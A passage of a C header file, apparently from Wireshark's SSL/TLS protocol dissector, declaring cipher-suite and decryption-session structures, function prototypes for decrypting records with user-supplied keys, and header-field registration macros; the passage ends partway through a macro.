extern const value_string ssl_versions[];
extern const value_string ssl_31_change_cipher_spec[];
extern const value_string ssl_31_alert_level[];
extern const value_string ssl_31_alert_description[];
extern const value_string ssl_31_handshake_type[];
extern const value_string tls_heartbeat_type[];
extern const value_string tls_heartbeat_mode[];
extern const value_string ssl_31_compression_method[];
extern const value_string ssl_31_key_exchange_algorithm[];
extern const value_string ssl_31_signature_algorithm[];
extern const value_string ssl_31_client_certificate_type[];
extern const value_string ssl_31_public_value_encoding[];
extern value_string_ext ssl_31_ciphersuite_ext;
extern const value_string pct_msg_types[];
extern const value_string pct_cipher_type[];
extern const value_string pct_hash_type[];
extern const value_string pct_cert_type[];
extern const value_string pct_sig_type[];
extern const value_string pct_exch_type[];
extern const value_string pct_error_code[];
extern const value_string tls_hello_extension_types[];
extern const value_string tls_hash_algorithm[];
extern const value_string tls_signature_algorithm[];
extern const value_string tls_certificate_type[];
extern const value_string tls_cert_chain_type[];
extern const value_string tls_cert_status_type[];
extern const value_string ssl_extension_curves[];
extern const value_string ssl_extension_ec_point_formats[];
extern const value_string ssl_curve_types[];
extern const value_string tls_hello_ext_server_name_type_vs[];
/* XXX Should we use GByteArray instead? */
typedef struct _StringInfo {
guchar *data; /* Backing storage which may be larger than data_len */
guint data_len; /* Length of the meaningful part of data */
} StringInfo;
#define SSL_WRITE_KEY 1
#define SSLV3_VERSION 0x300
#define TLSV1_VERSION 0x301
#define TLSV1DOT1_VERSION 0x302
#define TLSV1DOT2_VERSION 0x303
#define DTLSV1DOT0_VERSION 0xfeff
#define DTLSV1DOT0_VERSION_NOT 0x100
#define DTLSV1DOT2_VERSION 0xfefd
#define SSL_CLIENT_RANDOM (1<<0)
#define SSL_SERVER_RANDOM (1<<1)
#define SSL_CIPHER (1<<2)
#define SSL_HAVE_SESSION_KEY (1<<3)
#define SSL_VERSION (1<<4)
#define SSL_MASTER_SECRET (1<<5)
#define SSL_PRE_MASTER_SECRET (1<<6)
#define SSL_CLIENT_EXTENDED_MASTER_SECRET (1<<7)
#define SSL_SERVER_EXTENDED_MASTER_SECRET (1<<8)
#define SSL_EXTENDED_MASTER_SECRET_MASK (SSL_CLIENT_EXTENDED_MASTER_SECRET|SSL_SERVER_EXTENDED_MASTER_SECRET)
/* SSL Cipher Suite modes */
typedef enum {
MODE_STREAM, /* GenericStreamCipher */
MODE_CBC, /* GenericBlockCipher */
MODE_GCM, /* GenericAEADCipher */
MODE_CCM, /* AEAD_AES_{128,256}_CCM with 16 byte auth tag */
MODE_CCM_8 /* AEAD_AES_{128,256}_CCM with 8 byte auth tag */
} ssl_cipher_mode_t;
/* Explicit nonce length */
#define SSL_EX_NONCE_LEN_GCM 8 /* RFC 5288 - section 3 */
#define SSL_DEBUG_USE_STDERR "-"
#define SSLV2_MAX_SESSION_ID_LENGTH_IN_BYTES 16
typedef struct _SslCipherSuite {
gint number;
gint kex;
gint enc;
gint block; /* IV block size */
gint bits;
gint eff_bits;
gint dig;
ssl_cipher_mode_t mode;
} SslCipherSuite;
typedef struct _SslFlow {
guint32 byte_seq;
guint16 flags;
wmem_tree_t *multisegment_pdus;
} SslFlow;
typedef struct _SslDecompress SslDecompress;
typedef struct _SslDecoder {
SslCipherSuite* cipher_suite;
gint compression;
guchar _mac_key_or_write_iv[48];
StringInfo mac_key; /* for block and stream ciphers */
StringInfo write_iv; /* for AEAD ciphers (at least GCM, CCM) */
SSL_CIPHER_CTX evp;
SslDecompress *decomp;
guint32 seq;
guint16 epoch;
SslFlow *flow;
} SslDecoder;
#define KEX_RSA 0x10
#define KEX_DH 0x11
#define KEX_PSK 0x12
#define KEX_ECDH 0x13
#define KEX_RSA_PSK 0x14
#define ENC_DES 0x30
#define ENC_3DES 0x31
#define ENC_RC4 0x32
#define ENC_RC2 0x33
#define ENC_IDEA 0x34
#define ENC_AES 0x35
#define ENC_AES256 0x36
#define ENC_CAMELLIA128 0x37
#define ENC_CAMELLIA256 0x38
#define ENC_SEED 0x39
#define ENC_NULL 0x3A
#define DIG_MD5 0x40
#define DIG_SHA 0x41
#define DIG_SHA256 0x42
#define DIG_SHA384 0x43
#define DIG_NA 0x44 /* Not Applicable */
typedef struct {
const gchar *name;
gint len;
} SslDigestAlgo;
typedef struct _SslRecordInfo {
guchar *real_data;
gint data_len;
gint id;
struct _SslRecordInfo* next;
} SslRecordInfo;
typedef struct _SslDataInfo {
gint key;
StringInfo plain_data;
guint32 seq;
guint32 nxtseq;
SslFlow *flow;
struct _SslDataInfo *next;
} SslDataInfo;
typedef struct {
SslDataInfo *appl_data;
SslRecordInfo* handshake_data;
} SslPacketInfo;
typedef struct _SslSession {
gint cipher;
gint compression;
guint32 version;
gint8 client_cert_type;
gint8 server_cert_type;
} SslSession;
/* RFC 5246, section 8.1 says that the master secret is always 48 bytes */
#define SSL_MASTER_SECRET_LENGTH 48
/* This holds state information for a SSL conversation */
typedef struct _SslDecryptSession {
guchar _master_secret[SSL_MASTER_SECRET_LENGTH];
guchar _session_id[256];
guchar _client_random[32];
guchar _server_random[32];
StringInfo session_id;
StringInfo session_ticket;
StringInfo server_random;
StringInfo client_random;
StringInfo master_secret;
StringInfo handshake_data;
/* the data store for this StringInfo must be allocated explicitly with a capture lifetime scope */
StringInfo pre_master_secret;
guchar _server_data_for_iv[24];
StringInfo server_data_for_iv;
guchar _client_data_for_iv[24];
StringInfo client_data_for_iv;
gint state;
SslCipherSuite cipher_suite;
SslDecoder *server;
SslDecoder *client;
SslDecoder *server_new;
SslDecoder *client_new;
SSL_PRIVATE_KEY* private_key;
StringInfo psk;
guint16 version_netorder;
StringInfo app_data_segment;
SslSession session;
address srv_addr;
port_type srv_ptype;
guint srv_port;
} SslDecryptSession;
typedef struct _SslAssociation {
gboolean tcp;
guint ssl_port;
dissector_handle_t handle;
gchar* info;
gboolean from_key_list;
} SslAssociation;
typedef struct _SslService {
address addr;
guint port;
} SslService;
typedef struct _Ssl_private_key {
#ifdef HAVE_LIBGNUTLS
gnutls_x509_crt_t x509_cert;
gnutls_x509_privkey_t x509_pkey;
#endif
SSL_PRIVATE_KEY *sexp_pkey;
} Ssl_private_key_t;
/* User Access Table */
typedef struct _ssldecrypt_assoc_t {
char* ipaddr;
char* port;
char* protocol;
char* keyfile;
char* password;
} ssldecrypt_assoc_t;
typedef struct ssl_common_options {
const gchar *psk;
const gchar *keylog_filename;
} ssl_common_options_t;
/** Map from something to a (pre-)master secret */
typedef struct {
GHashTable *session; /* Session ID/Ticket to master secret. It uses the
observation that Session IDs are 1-32 bytes and
tickets are much longer */
GHashTable *crandom; /* Client Random to master secret */
GHashTable *pre_master; /* First 8 bytes of encrypted pre-master secret to
pre-master secret */
} ssl_master_key_map_t;
gint ssl_get_keyex_alg(gint cipher);
gboolean ssldecrypt_uat_fld_ip_chk_cb(void*, const char*, unsigned, const void*, const void*, const char** err);
gboolean ssldecrypt_uat_fld_port_chk_cb(void*, const char*, unsigned, const void*, const void*, const char** err);
gboolean ssldecrypt_uat_fld_protocol_chk_cb(void*, const char*, unsigned, const void*, const void*, const char** err);
gboolean ssldecrypt_uat_fld_fileopen_chk_cb(void*, const char*, unsigned, const void*, const void*, const char** err);
gboolean ssldecrypt_uat_fld_password_chk_cb(void*, const char*, unsigned, const void*, const void*, const char** err);
/** Initialize decryption engine/ssl layer. To be called once per execution */
extern void
ssl_lib_init(void);
/** Initialize an ssl session struct
@param ssl pointer to ssl session struct to be initialized */
extern void
ssl_session_init(SslDecryptSession* ssl);
/** Set server address and port */
extern void
ssl_set_server(SslDecryptSession* ssl, address *addr, port_type ptype, guint32 port);
/** set the data and len for the stringInfo buffer. buf should be big enough to
* contain the provided data
@param buf the buffer to update
@param src the data source
@param len the source data len */
extern void
ssl_data_set(StringInfo* buf, const guchar* src, guint len);
extern gint
ssl_cipher_setiv(SSL_CIPHER_CTX *cipher, guchar* iv, gint iv_len);
/** Load an RSA private key from specified file
@param fp the file that contain the key data
@return a pointer to the loaded key on success, or NULL */
extern Ssl_private_key_t *
ssl_load_key(FILE* fp);
/** Deallocate the memory used for specified key
@param key pointer to the key to be freed */
void
ssl_free_key(Ssl_private_key_t* key);
/* Find private key in associations */
extern void
ssl_find_private_key(SslDecryptSession *ssl_session, GHashTable *key_hash, GTree* associations, packet_info *pinfo);
/** Search for the specified cipher suite id
@param num the id of the cipher suite to be searched
@param cs pointer to the cipher suite struct to be filled
@return 0 if the cipher suite is found, -1 elsewhere */
extern gint
ssl_find_cipher(int num,SslCipherSuite* cs);
gboolean
ssl_generate_pre_master_secret(SslDecryptSession *ssl_session,
guint32 length, tvbuff_t *tvb, guint32 offset,
const gchar *ssl_psk,
const ssl_master_key_map_t *mk_map);
/** Expand the pre_master_secret to generate all the session information
* (master secret, session keys, ivs)
@param ssl_session the store for all the session data
@return 0 on success */
extern gint
ssl_generate_keyring_material(SslDecryptSession*ssl_session);
extern void
ssl_change_cipher(SslDecryptSession *ssl_session, gboolean server);
/** Try to decrypt an ssl record
@param ssl ssl_session the store all the session data
@param decoder the stream decoder to be used
@param ct the content type of this ssl record
@param in a pointer to the ssl record to be decrypted
@param inl the record length
@param comp_str a pointer to the store the compression data
@param out_str a pointer to the store for the decrypted data
@param outl the decrypted data len
@return 0 on success */
extern gint
ssl_decrypt_record(SslDecryptSession* ssl,SslDecoder* decoder, gint ct,
const guchar* in, guint inl, StringInfo* comp_str, StringInfo* out_str, guint* outl);
/* Common part bitween SSL and DTLS dissectors */
/* Hash Functions for TLS/DTLS sessions table and private keys table */
extern gint
ssl_equal (gconstpointer v, gconstpointer v2);
extern guint
ssl_hash (gconstpointer v);
extern gint
ssl_private_key_equal (gconstpointer v, gconstpointer v2);
extern guint
ssl_private_key_hash (gconstpointer v);
/* private key table entries have a scope 'larger' then packet capture,
* so we can't relay on se_alloc** function */
extern void
ssl_private_key_free(gpointer id, gpointer key, gpointer dummy _U_);
/* handling of association between tls/dtls ports and clear text protocol */
extern void
ssl_association_add(GTree* associations, dissector_handle_t handle, guint port, const gchar *protocol, gboolean tcp, gboolean from_key_list);
extern void
ssl_association_remove(GTree* associations, SslAssociation *assoc);
extern gint
ssl_association_cmp(gconstpointer a, gconstpointer b);
extern SslAssociation*
ssl_association_find(GTree * associations, guint port, gboolean tcp);
extern gint
ssl_assoc_from_key_list(gpointer key _U_, gpointer data, gpointer user_data);
extern gint
ssl_packet_from_server(SslDecryptSession* ssl, GTree* associations, packet_info *pinfo);
/* add to packet data a copy of the specified real data */
extern void
ssl_add_record_info(gint proto, packet_info *pinfo, guchar* data, gint data_len, gint record_id);
/* search in packet data for the specified id; return a newly created tvb for the associated data */
extern tvbuff_t*
ssl_get_record_info(tvbuff_t *parent_tvb, gint proto, packet_info *pinfo, gint record_id);
void
ssl_add_data_info(gint proto, packet_info *pinfo, guchar* data, gint data_len, gint key, SslFlow *flow);
SslDataInfo*
ssl_get_data_info(int proto, packet_info *pinfo, gint key);
/* initialize/reset per capture state data (ssl sessions cache) */
extern void
ssl_common_init(ssl_master_key_map_t *master_key_map, FILE **ssl_keylog_file,
StringInfo *decrypted_data, StringInfo *compressed_data);
/* tries to update the secrets cache from the given filename */
extern void
ssl_load_keyfile(const gchar *ssl_keylog_filename, FILE **keylog_file,
const ssl_master_key_map_t *mk_map);
/* parse ssl related preferences (private keys and ports association strings) */
extern void
ssl_parse_key_list(const ssldecrypt_assoc_t * uats, GHashTable *key_hash, GTree* associations, dissector_handle_t handle, gboolean tcp);
/* store master secret into session data cache */
extern void
ssl_save_session(SslDecryptSession* ssl, GHashTable *session_hash);
extern void
ssl_finalize_decryption(SslDecryptSession *ssl, ssl_master_key_map_t *mk_map);
extern gboolean
ssl_is_valid_content_type(guint8 type);
extern gboolean
ssl_is_valid_handshake_type(guint8 hs_type, gboolean is_dtls);
extern void
ssl_calculate_handshake_hash(SslDecryptSession *ssl_session, tvbuff_t *tvb, guint32 offset, guint32 length);
/* common header fields, subtrees and expert info for SSL and DTLS dissectors */
typedef struct ssl_common_dissect {
struct {
gint hs_exts_len;
gint hs_ext_alpn_len;
gint hs_ext_alpn_list;
gint hs_ext_alpn_str;
gint hs_ext_alpn_str_len;
gint hs_ext_cert_status_request_extensions_len;
gint hs_ext_cert_status_request_len;
gint hs_ext_cert_status_responder_id_list_len;
gint hs_ext_cert_status_type;
gint hs_ext_cert_url_item;
gint hs_ext_cert_url_padding;
gint hs_ext_cert_url_sha1;
gint hs_ext_cert_url_type;
gint hs_ext_cert_url_url;
gint hs_ext_cert_url_url_hash_list_len;
gint hs_ext_cert_url_url_len;
gint hs_ext_cert_type;
gint hs_ext_cert_types;
gint hs_ext_cert_types_len;
gint hs_ext_data;
gint hs_ext_ec_point_format;
gint hs_ext_ec_point_formats_len;
gint hs_ext_elliptic_curve;
gint hs_ext_elliptic_curves;
gint hs_ext_elliptic_curves_len;
gint hs_ext_heartbeat_mode;
gint hs_ext_len;
gint hs_ext_npn_str;
gint hs_ext_npn_str_len;
gint hs_ext_reneg_info_len;
gint hs_ext_server_name;
gint hs_ext_server_name_len;
gint hs_ext_server_name_list_len;
gint hs_ext_server_name_type;
gint hs_ext_padding;
gint hs_ext_padding_len;
gint hs_ext_padding_data;
gint hs_ext_type;
gint hs_sig_hash_alg;
gint hs_sig_hash_alg_len;
gint hs_sig_hash_algs;
gint hs_sig_hash_hash;
gint hs_sig_hash_sig;
gint hs_client_keyex_epms_len;
gint hs_client_keyex_epms;
gint hs_server_keyex_modulus_len;
gint hs_server_keyex_exponent_len;
gint hs_server_keyex_sig_len;
gint hs_server_keyex_p_len;
gint hs_server_keyex_g_len;
gint hs_server_keyex_ys_len;
gint hs_client_keyex_yc_len;
gint hs_client_keyex_point_len;
gint hs_server_keyex_point_len;
gint hs_server_keyex_p;
gint hs_server_keyex_g;
gint hs_server_keyex_curve_type;
gint hs_server_keyex_named_curve;
gint hs_server_keyex_ys;
gint hs_client_keyex_yc;
gint hs_server_keyex_point;
gint hs_client_keyex_point;
gint hs_server_keyex_modulus;
gint hs_server_keyex_exponent;
gint hs_server_keyex_sig;
gint hs_server_keyex_hint_len;
gint hs_server_keyex_hint;
gint hs_client_keyex_identity_len;
gint hs_client_keyex_identity;
gint hs_certificates_len;
gint hs_certificates;
gint hs_certificate_len;
gint hs_certificate;
gint hs_cert_types_count;
gint hs_cert_types;
gint hs_cert_type;
gint hs_dnames_len;
gint hs_dnames;
gint hs_dname_len;
gint hs_dname;
gint hs_random_time;
gint hs_random_bytes;
gint hs_session_id;
gint hs_session_id_len;
gint hs_client_version;
gint hs_server_version;
gint hs_cipher_suites_len;
gint hs_cipher_suites;
gint hs_cipher_suite;
gint hs_comp_methods_len;
gint hs_comp_methods;
gint hs_comp_method;
gint hs_session_ticket_lifetime_hint;
gint hs_session_ticket_len;
gint hs_session_ticket;
gint hs_finished;
/* do not forget to update SSL_COMMON_LIST_T and SSL_COMMON_HF_LIST! */
} hf;
struct {
gint hs_ext;
gint hs_ext_alpn;
gint hs_ext_cert_types;
gint hs_ext_curves;
gint hs_ext_curves_point_formats;
gint hs_ext_npn;
gint hs_ext_reneg_info;
gint hs_ext_server_name;
gint hs_ext_padding;
gint hs_sig_hash_alg;
gint hs_sig_hash_algs;
gint urlhash;
gint keyex_params;
gint certificates;
gint cert_types;
gint dnames;
gint hs_random;
gint cipher_suites;
gint comp_methods;
gint session_ticket;
/* do not forget to update SSL_COMMON_LIST_T and SSL_COMMON_ETT_LIST! */
} ett;
struct {
expert_field hs_ext_cert_status_undecoded;
expert_field hs_sig_hash_alg_len_bad;
expert_field hs_cipher_suites_len_bad;
/* do not forget to update SSL_COMMON_LIST_T and SSL_COMMON_EI_LIST! */
} ei;
} ssl_common_dissect_t;
/* Header fields specific to DTLS. See packet-dtls.c */
typedef struct {
gint hf_dtls_handshake_cookie_len;
gint hf_dtls_handshake_cookie;
/* Do not forget to initialize dtls_hfs to -1 in packet-dtls.c! */
} dtls_hfs_t;
/* Header fields specific to SSL. See packet-ssl.c */
typedef struct {
gint hs_md5_hash;
gint hs_sha_hash;
/* Do not forget to initialize ssl_hfs to -1 in packet-ssl.c! */
} ssl_hfs_t;
extern void
ssl_dissect_hnd_cli_hello(ssl_common_dissect_t *hf, tvbuff_t *tvb,
packet_info *pinfo, proto_tree *tree, guint32 offset,
guint32 length, SslSession *session,
SslDecryptSession *ssl,
dtls_hfs_t *dtls_hfs);
extern void
ssl_dissect_hnd_srv_hello(ssl_common_dissect_t *hf, tvbuff_t *tvb,
proto_tree *tree, guint32 offset, guint32 length,
SslSession *session, SslDecryptSession *ssl);
extern void
ssl_dissect_hnd_new_ses_ticket(ssl_common_dissect_t *hf, tvbuff_t *tvb,
proto_tree *tree, guint32 offset,
SslDecryptSession *ssl,
GHashTable *session_hash);
extern void
ssl_dissect_hnd_cert(ssl_common_dissect_t *hf, tvbuff_t *tvb, proto_tree *tree,
guint32 offset, packet_info *pinfo,
const SslSession *session, gint is_from_server);
extern void
ssl_dissect_hnd_cert_req(ssl_common_dissect_t *hf, tvbuff_t *tvb,
proto_tree *tree, guint32 offset, packet_info *pinfo,
const SslSession *session);
extern void
ssl_dissect_hnd_finished(ssl_common_dissect_t *hf, tvbuff_t *tvb,
proto_tree *tree, guint32 offset,
const SslSession *session, ssl_hfs_t *ssl_hfs);
extern void
ssl_dissect_hnd_cert_url(ssl_common_dissect_t *hf, tvbuff_t *tvb, proto_tree *tree, guint32 offset);
extern void
ssl_dissect_hnd_cli_keyex(ssl_common_dissect_t *hf, tvbuff_t *tvb,
proto_tree *tree, guint32 offset, guint32 length,
const SslSession *session);
extern void
ssl_dissect_hnd_srv_keyex(ssl_common_dissect_t *hf, tvbuff_t *tvb,
proto_tree *tree, guint32 offset, guint32 length,
const SslSession *session);
/* {{{ */
#define SSL_COMMON_LIST_T(name) \
ssl_common_dissect_t name = { \
/* hf */ { \
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, \
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, \
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, \
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, \
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, \
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, \
}, \
/* ett */ { \
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, \
-1, -1, -1, -1, \
}, \
/* ei */ { \
EI_INIT, EI_INIT, EI_INIT, \
}, \
}
/* }}} */
/* {{{ */
#define SSL_COMMON_HF_LIST(name, prefix) \
{ & name .hf.hs_exts_len, \
{ "Extensions Length", prefix ".handshake.extensions_length", \
FT_UINT16, BASE_DEC, NULL, 0x0, \
"Length of hello extensions", HFILL } \
}, \
{ & name .hf.hs_ext_type, \
{ "Type", prefix ".handshake.extension.type", \
FT_UINT16, BASE_HEX, VALS(tls_hello_extension_types), 0x0, \
"Hello extension type", HFILL } \
}, \
{ & name .hf.hs_ext_len, \
{ "Length", prefix ".handshake.extension.len", \
FT_UINT16, BASE_DEC, NULL, 0x0, \
"Length of a hello extension", HFILL } \
}, \
{ & name .hf.hs_ext_data, \
{ "Data", prefix ".handshake.extension.data", \
FT_BYTES, BASE_NONE, NULL, 0x0, \
"Hello Extension data", HFILL } \
}, \
{ & name .hf.hs_ext_elliptic_curves_len, \
{ "Elliptic Curves Length", prefix ".handshake.extensions_elliptic_curves_length", \
FT_UINT16, BASE_DEC, NULL, 0x0, \
"Length of elliptic curves field", HFILL } \
}, \
{ & name .hf.hs_ext_elliptic_curves, \
{ "Elliptic Curves List", prefix ".handshake.extensions_elliptic_curves", \
FT_NONE, BASE_NONE, NULL, 0x0, \
"List of elliptic curves supported", HFILL } \
}, \
{ & name .hf.hs_ext_elliptic_curve, \
{ "Elliptic curve", prefix ".handshake.extensions_elliptic_curve",\
FT_UINT16, BASE_HEX, VALS(ssl_extension_curves), 0x0, \
NULL, HFILL } \
}, \
{ & name .hf.hs_ext_ec_point_formats_len, \
{ "EC point formats Length", prefix ".handshake.extensions_ec_point_formats_length", \
FT_UINT8, BASE_DEC, NULL, 0x0, \
"Length of elliptic curves point formats field", HFILL } \
}, \
{ & name .hf.hs_ext_ec_point_format, \
{ "EC point format", prefix ".handshake.extensions_ec_point_format", \
FT_UINT8, BASE_DEC, VALS(ssl_extension_ec_point_formats), 0x0, \
"Elliptic curves point format", HFILL } \
}, \
{ & name .hf.hs_ext_alpn_len, \
{ "ALPN Extension Length", prefix ".handshake.extensions_alpn_len", \
FT_UINT16, BASE_DEC, NULL, 0x0, \
"Length of the ALPN Extension", HFILL } \
}, \
{ & name .hf.hs_ext_alpn_list, \
{ "ALPN Protocol", prefix ".handshake.extensions_alpn_list", \
FT_NONE, BASE_NONE, NULL, 0x0, \
NULL, HFILL } \
}, \
{ & name .hf.hs_ext_alpn_str_len, \
{ "ALPN string length", prefix ".handshake.extensions_alpn_str_len", \
FT_UINT8, BASE_DEC, NULL, 0x0, \
"Length of ALPN string", HFILL } \
}, \
{ & name .hf.hs_ext_alpn_str, \
{ "ALPN Next Protocol", prefix ".handshake.extensions_alpn_str", \
FT_STRING, BASE_NONE, NULL, 0x00, \
NULL, HFILL } \
}, \
{ & name .hf.hs_ext_npn_str_len, \
{ "Protocol string length", prefix ".handshake.extensions_npn_str_len", \
FT_UINT8, BASE_DEC, NULL, 0x0, \
"Length of next protocol string", HFILL } \
}, \
{ & name .hf.hs_ext_npn_str, \
{ "Next Protocol", prefix ".handshake.extensions_npn", \
FT_STRING, BASE_NONE, NULL, 0x0, \
NULL, HFILL } \
}, \
{ & name .hf.hs_ext_reneg_info_len, \
{ "Renegotiation info extension length", prefix ".handshake.extensions_reneg_info_len", \
FT_UINT8, BASE_DEC, NULL, 0x0, \
NULL, HFILL } \
}, \
{ & name .hf.hs_ext_server_name_list_len, \
{ "Server Name list length", prefix ".handshake.extensions_server_name_list_len", \
FT_UINT16, BASE_DEC, NULL, 0x0, \
"Length of server name list", HFILL } \
}, \
{ & name .hf.hs_ext_server_name_len, \
{ "Server Name length", prefix ".handshake.extensions_server_name_len", \
FT_UINT16, BASE_DEC, NULL, 0x0, \
"Length of server name string", HFILL } \
}, \
{ & name .hf.hs_ext_server_name_type, \
{ "Server Name Type", prefix ".handshake.extensions_server_name_type", \
FT_UINT8, BASE_DEC, VALS(tls_hello_ext_server_name_type_vs), 0x0, \
NULL, HFILL } \
}, \
{ & name .hf.hs_ext_server_name, \
{ "Server Name", prefix ".handshake.extensions_server_name", \
FT_STRING, BASE_NONE, NULL, 0x0, \
NULL, HFILL } \
}, \
{ & name .hf.hs_ext_padding, \
{ "Padding", prefix ".handshake.extensions_padding", \
FT_NONE, BASE_NONE, NULL, 0x0, \
NULL, HFILL } \
}, \
{ & name .hf.hs_ext_padding_len, \
{ "Padding length", prefix ".handshake.extensions_padding_len", \
FT_UINT16, BASE_DEC, NULL, 0x0, \
"Length of Padding", HFILL } \
}, \
{ & name .hf.hs_ext_padding_data, \
{ "Padding Data", prefix ".handshake.extensions_padding_data", \
FT_BYTES, BASE_NONE, NULL, 0x0, \
"Must be zero", HFILL } \
}, \
{ & name .hf.hs_ext_cert_url_type, \
{ "Certificate Chain Type", prefix ".handshake.cert_url_type", \
FT_UINT8, BASE_DEC, VALS(tls_cert_chain_type), 0x0, \
"Certificate Chain Type for Client Certificate URL", HFILL } \
}, \
{ & name .hf.hs_ext_cert_url_url_hash_list_len, \
{ "URL and Hash list Length", prefix ".handshake.cert_url.url_hash_len", \
FT_UINT16, BASE_DEC, NULL, 0x0, \
NULL, HFILL } \
}, \
{ & name .hf.hs_ext_cert_url_item, \
{ "URL and Hash", prefix ".handshake.cert_url.url_hash", \
FT_NONE, BASE_NONE, NULL, 0x0, \
NULL, HFILL } \
}, \
{ & name .hf.hs_ext_cert_url_url_len, \
{ "URL Length", prefix ".handshake.cert_url.url_len", \
FT_UINT16, BASE_DEC, NULL, 0x0, \
NULL, HFILL } \
}, \
{ & name .hf.hs_ext_cert_type, \
{ "Certificate Type", prefix ".handshake.cert_type.type", \
FT_UINT8, BASE_HEX, VALS(tls_certificate_type), 0x0, \
NULL, HFILL } \
}, \
{ & name .hf.hs_ext_cert_types, \
{ "Certificate Type List", prefix ".handshake.cert_type.types", \
FT_NONE, BASE_NONE, NULL, 0x0, \
NULL, HFILL } \
}, \
{ & name .hf.hs_ext_cert_types_len, \
{ "Certificate Type List Length", prefix ".handshake.cert_type.types_len", \
FT_UINT8, BASE_DEC, NULL, 0x0, \
NULL, HFILL } \
}, \
{ & name .hf.hs_ext_cert_url_url, \
{ "URL", prefix ".handshake.cert_url.url_hash_len", \
FT_STRING, BASE_NONE, NULL, 0x0, \
"URL used to fetch the certificate(s)", HFILL } \
}, \
{ & name .hf.hs_ext_cert_url_padding, \
{ "Padding", prefix ".handshake.cert_url.padding", \
FT_NONE, BASE_NONE, NULL, 0x0, \
"Padding that MUST be 0x01 for backwards compatibility", HFILL } \
}, \
{ & name .hf.hs_ext_cert_url_sha1, \
{ "SHA1 Hash", prefix ".handshake.cert_url.sha1", \
FT_BYTES, BASE_NONE, NULL, 0x0, \
"SHA1 Hash of the certificate", HFILL } \
}, \
{ & name .hf.hs_ext_cert_status_type, \
{ "Certificate Status Type", prefix ".handshake.extensions_status_request_type", \
FT_UINT8, BASE_DEC, VALS(tls_cert_status_type), 0x0, \
NULL, HFILL } \
}, \
{ & name .hf.hs_ext_cert_status_request_len, \
{ "Certificate Status Length", prefix ".handshake.extensions_status_request_len", \
FT_UINT16, BASE_DEC, NULL, 0x0, \
NULL, HFILL } \
}, \
{ & name .hf.hs_ext_cert_status_responder_id_list_len, \
{ "Responder ID list Length", prefix ".handshake.extensions_status_request_responder_ids_len", \
FT_UINT16, BASE_DEC, NULL, 0x0, \
NULL, HFILL } \
}, \
{ & name .hf.hs_ext_cert_status_request_extensions_len, \
{ "Request Extensions Length", prefix ".handshake.extensions_status_request_exts_len", \
FT_UINT16, BASE_DEC, NULL, 0x0, \
NULL, HFILL } \
}, \
{ & name .hf.hs_sig_hash_alg_len, \
{ "Signature Hash Algorithms Length", prefix ".handshake.sig_hash_alg_len", \
FT_UINT16, BASE_DEC, NULL, 0x0, \
"Length of Signature Hash Algorithms", HFILL } \
}, \
{ & name .hf.hs_sig_hash_algs, \
{ "Signature Hash Algorithms", prefix ".handshake.sig_hash_algs", \
FT_NONE, BASE_NONE, NULL, 0x0, \
"List of Signature Hash Algorithms", HFILL } \
}, \
{ & name .hf.hs_sig_hash_alg, \
{ "Signature Hash Algorithm", prefix ".handshake.sig_hash_alg", \
FT_UINT16, BASE_HEX, NULL, 0x0, \
NULL, HFILL } \
}, \
{ & name .hf.hs_sig_hash_hash, \
{ "Signature Hash Algorithm Hash", prefix ".handshake.sig_hash_hash", \
FT_UINT8, BASE_DEC, VALS(tls_hash_algorithm), 0x0, \
NULL, HFILL } \
}, \
{ & name .hf.hs_sig_hash_sig, \
{ "Signature Hash Algorithm Signature", prefix ".handshake.sig_hash_sig", \
FT_UINT8, BASE_DEC, VALS(tls_signature_algorithm), 0x0, \
NULL, HFILL } \
}, \
{ & name .hf.hs_client_keyex_epms_len, \
{ "Encrypted PreMaster length", prefix ".handshake.epms_len", \
FT_UINT16, BASE_DEC, NULL, 0x0, \
"Length of encrypted PreMaster secret", HFILL } \
}, \
{ & name .hf.hs_client_keyex_epms, \
{ "Encrypted PreMaster", prefix ".handshake.epms", \
FT_BYTES, BASE_NONE, NULL, 0x0, \
"Encrypted PreMaster secret", HFILL } \
}, \
{ & name .hf.hs_server_keyex_modulus_len, \
{ "Modulus Length", prefix ".handshake.modulus_len", \
FT_UINT16, BASE_DEC, NULL, 0x0, \
"Length of RSA-EXPORT modulus", HFILL } \
}, \
{ & name .hf.hs_server_keyex_exponent_len, \
{ "Exponent Length", prefix ".handshake.exponent_len", \
FT_UINT16, BASE_DEC, NULL, 0x0, \
"Length of RSA-EXPORT exponent", HFILL } \
}, \
{ & name .hf.hs_server_keyex_sig_len, \
{ "Signature Length", prefix ".handshake.sig_len", \
FT_UINT16, BASE_DEC, NULL, 0x0, \
"Length of Signature", HFILL } \
}, \
{ & name .hf.hs_server_keyex_p_len, \
{ "p Length", prefix ".handshake.p_len", \
FT_UINT16, BASE_DEC, NULL, 0x0, \
"Length of p", HFILL } \
}, \
{ & name .hf.hs_server_keyex_g_len, \
{ "g Length", prefix ".handshake.g_len", \
FT_UINT16, BASE_DEC, NULL, 0x0, \
"Length of g", HFILL } \
}, \
{ & name .hf.hs_server_keyex_ys_len, \
{ "Pubkey Length", prefix ".handshake.ys_len", \
FT_UINT16, BASE_DEC, NULL, 0x0, \
"Length of server's Diffie-Hellman public key", HFILL } \
}, \
{ & name .hf.hs_client_keyex_yc_len, \
{ "Pubkey Length", prefix ".handshake.yc_len", \
FT_UINT16, BASE_DEC, NULL, 0x0, \
"Length of client's Diffie-Hellman public key", HFILL } \
}, \
{ & name .hf.hs_client_keyex_point_len, \
{ "Pubkey Length", prefix ".handshake.client_point_len", \
FT_UINT8, BASE_DEC, NULL, 0x0, \
"Length of client's EC Diffie-Hellman public key", HFILL } \
}, \
{ & name .hf.hs_server_keyex_point_len, \
{ "Pubkey Length", prefix ".handshake.server_point_len", \
FT_UINT8, BASE_DEC, NULL, 0x0, \
"Length of server's EC Diffie-Hellman public key", HFILL } \
}, \
{ & name .hf.hs_server_keyex_p, \
{ "p", prefix ".handshake.p", \
FT_BYTES, BASE_NONE, NULL, 0x0, \
"Diffie-Hellman p", HFILL } \
}, \
